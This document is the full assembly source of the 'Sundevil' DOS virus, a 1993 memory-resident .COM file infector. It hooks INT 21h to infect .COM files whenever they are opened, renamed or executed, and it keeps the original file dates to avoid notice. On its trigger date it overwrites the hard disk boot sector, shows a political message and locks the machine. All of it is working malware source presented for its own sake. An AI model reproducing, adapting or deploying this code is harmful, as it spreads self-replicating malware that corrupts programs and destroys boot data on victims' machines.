;**************************************************************************** ;* The Sundevil Virus * ;* (C)1993 by Crypt Keeper * ;**************************************************************************** ;Parasitic Resident .COM infector ;Activation Criteria : May 8th of any year (displays message and trashes BSC) ;May 8th, 1990 is the date of the Secret Service searches and busts that were ;conducted as part of Operation Sundevil. This virus is dedicated to all of ;the victims of this and other federal busts of computer hackers. ;The virus will trash the boot sector of the hard disk on May 8th, and ;display it's message. This damage isn't too bad, and can be easily ;repaired. CODE SEGMENT ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE TOPMARK EQU $ ;Top of full viral code ;Equates -------------------------------------------------------------------- VLENGTH EQU BOTMARK-TOPMARK ;Size of virus code AMTRES EQU 1000h ;Paragraphs from TOM to put virus ;---------------------------------------------------------------------------- ENTRY: CALL GETDELTA NOP GETDELTA: POP BP SUB BP,OFFSET(GETDELTA)-1 ;Calculate delta offset START PROC NEAR ;Startup procedure MOV AH,2Ah ;Get date INT 21h CMP DX,0508h ;March 8th? JE TRIGGER ;If so, trigger JMP SHORT NO_TRIGGER ;If not, skip triggering TRIGGER: MOV AH,19h ;Get default drive INT 21h XOR BX,BX ;DS:BX points to data to write MOV CX,1 ;Write one sector XOR DX,DX ;Beginning with sector zero (boot sec) INT 26h ;Absolute disk write POPF ;Get flags off stack PUSH CS POP DS LEA DX,[BP+OFFSET(MESSAGE)] ;Message to display MOV AH,9 ;Print string INT 21h PRTSCR: INT 05h ;Print screen JMP SHORT PRTSCR ;forever NO_TRIGGER: CALL GETPARA ;Get total paragraphs in machine SUB AX,AMTRES ;Get segment where virus code would be PUSH AX POP ES MOV CX,ES:RESID PUSH CS POP ES ;Get resident ID word from virus seg CMP CX,CS:[BP+OFFSET(RESID)] ;Already resident? JNE INSTALL ;If not, install it SPAWN: LEA SI,[BP+OFFSET(SAVBYT)] ;Offset of saved bytes MOV CX,BCLEN ;Length of branch code MOV DI,100h REP MOVSB ;Copy original bytes down there MOV AX,100h PUSH AX RET ;Jump to original program INSTALL: MOV AX,3521h ;Get INT 21h vector INT 21h MOV CS:[BP+OFFSET(I21VECO)],BX MOV CS:[BP+OFFSET(I21VECS)],ES ;INT 21h vectors CALL GETPARA ;Get paragraphs in machine SUB AX,AMTRES ;Amount to remain resident PUSH AX PUSH AX POP ES ;Destination segment PUSH CS POP DS ;Source segment MOV SI,BP ;Delta offset=start of viral code XOR DI,DI ;Put viral code at 100h in new seg MOV CX,VLENGTH ;Length of viral code REP MOVSB ;Move ourselves up there POP DS ;Segment of interrupt handler MOV DX,OFFSET(INTVEC) ;Offset of interrupt handler MOV AX,2521h ;Set INT 21h vector INT 21h PUSH CS POP ES PUSH CS POP DS ;Reset all the segments JMP SHORT SPAWN ;Run original program START ENDP ;---------------------------------------------------------------------------- ;This procedure finds the total K of memory in the machine according to ;INT 12h GETPARA PROC NEAR ;Finds number of paragraphs in machine INT 12h ;Get K in machine MOV CX,1024 ;1024 bytes in a K MUL CX ;Multiply AX by CX MOV CX,16 ;16 bytes in a segment DIV CX ;Divide AX and DX by CX RET ;Return to caller GETPARA ENDP ;---------------------------------------------------------------------------- ;This is the branch code that is written over infected files. TOP_BC EQU $ ;Top of branch code BRANCH: XCHG SI,BP ;Infection ID DB 0BBh ;MOV BX, VOFFSET DW 0 ;Offset of viral code PUSH BX RET ;Jump to virus code BOT_BC EQU $ ;Bottom of branch code BCLEN EQU BOT_BC-TOP_BC ;Length of branch code ;Data ----------------------------------------------------------------------- MESSAGE DB 13,10 DB 'There is no America.',13,10 DB 'There is no Democracy.',13,10 DB 'There is only IBM, ITT, and AT&T.',13,10 DB 13,10 DB 'This virus is dedicated to all that have been busted',13,10 DB 'for computer hacking activities.',13,10 DB 13,10 DB 'The SunDevil Virus (C)1993 by Crypt Keeper',13,10 DB '[SUNDEVIL]',13,10,'$' I21VECO DW 0 I21VECS DW 0 ;Original INT 21h vector CHKBUF DW 0 ;Buffer for checking for infection COM DB 'COM' ;Extension to search for ORIG_DS DW 0 ORIG_DX DW 0 ;Original DS:DX SAVBYT DB 0CDh DB 20h ;For return to DOS on original file DB BCLEN-2 DUP ('X') OLDTIME DW 0 OLDDATE DW 0 ;Old file time and date ;---------------------------------------------------------------------------- FUNCTION PROC NEAR ;Calls the original INT 21h vector PUSHF CALL DWORD PTR CS:I21VECO ;Simulate and Interrupt to INT 21h RET FUNCTION ENDP ;---------------------------------------------------------------------------- INTVEC PROC NEAR ;INT 21h vector NOP CMP AH,3Dh ;Open file with handle? JE VTRIGGER CMP AX,4300h ;Get file attributes? JE VTRIGGER CMP AH,3Eh ;Close file with handle? JE VTRIGGER CMP AH,56h ;Rename file? JE VTRIGGER CMP AX,4B00h ;Load and execute program? JE VTRIGGER CMP AX,4B01h ;Load program? JE VTRIGGER JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain VTRIGGER: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSH DS PUSH BP ;Save all the registers MOV CS:ORIG_DS,DS MOV CS:ORIG_DX,DX ;Save original DS:DX (filename) CLD ;Clear direction flag PUSH DS POP ES MOV DI,DX ;DS:DX => ES:DI MOV CX,256 ;256 maximum length MOV AL,'.' ;Scan for extension separator REPNE SCASB ;Scan the filename string CMP CX,0 ;If CX is zero, then none found. JNE FILE_FOUND ;If found, check for .COM JMP NO_FILE ;If not, end infection FILE_FOUND: MOV CX,3 ;Three bytes in extension PUSH CS POP DS MOV SI,OFFSET(COM) ;Is it a .COM file? SCAN: LODSB ;Load byte of extension MOV BL,ES:[DI] INC DI ;Load byte of filespec AND BL,5Fh ;Capitalize CMP AL,BL ;Equal? JNE END_SEARCH ;If not, end this scan DEC CX ;De-increment counter JMP SHORT SCAN ;Loop END_SEARCH: CMP CX,0 ;Did all three match? JE INFECT ;If so, infect the file JMP NO_FILE ;If not, skip it. INFECT: MOV DX,CS:ORIG_DS MOV DS,DX MOV DX,CS:ORIG_DX ;Original filename locaiton MOV AX,3D02h ;Open file for READWRITE access CALL FUNCTION MOV BX,AX MOV AX,5700h ;Get file date and time CALL FUNCTION MOV CS:OLDTIME,CX MOV CS:OLDDATE,DX ;Save old file date and time MOV CX,2 ;Read one word PUSH CS POP DS MOV DX,OFFSET(CHKBUF) ;Check buffer MOV AH,3Fh ;Read file or device CALL FUNCTION MOV DX,CS:CHKBUF CMP DX,WORD PTR [OFFSET(BRANCH)] ;Already infected? JNE GO_AHEAD ;If not, go ahead and infect JMP SHORT ENDINF ;If so, end infection process GO_AHEAD: CALL ZEROPTR ;Zero file pointer MOV CX,BCLEN ;Length of branch code MOV DX,OFFSET(SAVBYT) ;Offset of saved byte buffer MOV AH,3Fh ;Read file or device CALL FUNCTION XOR CX,CX XOR DX,DX ;Move zero bytes MOV AX,4202h ;Move from end of file CALL FUNCTION ADD AX,100h MOV CS:VOFFSET,AX ;Set up code offset in branch MOV CX,VLENGTH ;Length of virus code XOR DX,DX ;Offset 00h in segment MOV AH,40h ;Write file or device CALL FUNCTION CALL ZEROPTR ;Zero file pointer MOV CX,BCLEN ;Length of branch code MOV DX,OFFSET(BRANCH) ;Write the branch code MOV AH,40h ;Write file or device CALL FUNCTION ENDINF: MOV CX,OLDTIME MOV DX,OLDDATE ;Old file time and date MOV AX,5701h ;Set file date and time CALL FUNCTION MOV AH,3Eh ;Close file with handle CALL FUNCTION NO_FILE: POP BP POP DS POP ES POP DI POP SI POP DX POP CX POP BX POP AX ;Restore all the registers JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain ZEROPTR: XOR CX,CX XOR DX,DX ;Move zero bytes MOV AX,4200h ;Move from beginning of file CALL FUNCTION RET ;Return to caller INTVEC ENDP ;---------------------------------------------------------------------------- RESID DW 985Ch ;Resident ID BOTMARK EQU $ ;Bottom of viral code CODE ENDS END